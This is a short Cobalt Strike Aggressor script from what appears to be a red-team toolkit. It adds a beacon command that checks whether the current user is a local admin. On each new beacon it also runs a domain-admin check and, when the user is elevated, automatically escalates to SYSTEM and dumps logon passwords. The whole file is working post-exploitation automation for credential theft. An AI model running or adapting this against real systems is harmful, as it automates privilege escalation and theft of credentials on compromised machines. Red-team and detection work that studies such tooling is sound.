killswitch-GUI-CobaltStrike-ToolKit/Initial-LAdminCheck.cna

 # @Killswitch-GUI
 # This script will Auto check for LocalAdmin User on intial agent 

 # quickly run powershellimport
sub powershellimport {
  bpowershell_import($1, script_resource("CheckLAdminContext.ps1"));
}

alias checkla {
  powershellimport($1);
  bpowershell($1, 'Invoke-LocalAdminCheck');
}

# register the checkla command
beacon_command_register(
  "checkla", 
  "Checks if the current user is in a Local-Admin Context", 
  "Synopsis: echo [no arguments]\n\nChecks using Powershell that supports (2.0 or later with 3.5 .NET) \n or (PS 4.0 or later) to perform a local admin check of current user.");

  # set up the Initial check
on beacon_initial {
  powershellimport($1);
  bpowershell($1, 'Invoke-DACheck -Initial True');


  $s = replace($2, 'received output:\n'.'');
  # println($s);
  $f = "[!] Found-DA-User:";
  if ($f isin $s)
    {
    $pid = binfo($1, "pid");
    elog("Found DA User at Pid: $pid");
    show_message("Found DA User at Pid: $pid");
    beacon_note($1, "DA User on this box");
    }


  $a = binfo($1, "user");
  $b = "*";
  if ($b isin $a)
    {
    bgetsystem($1);
    blogonpasswords($1);
    }
}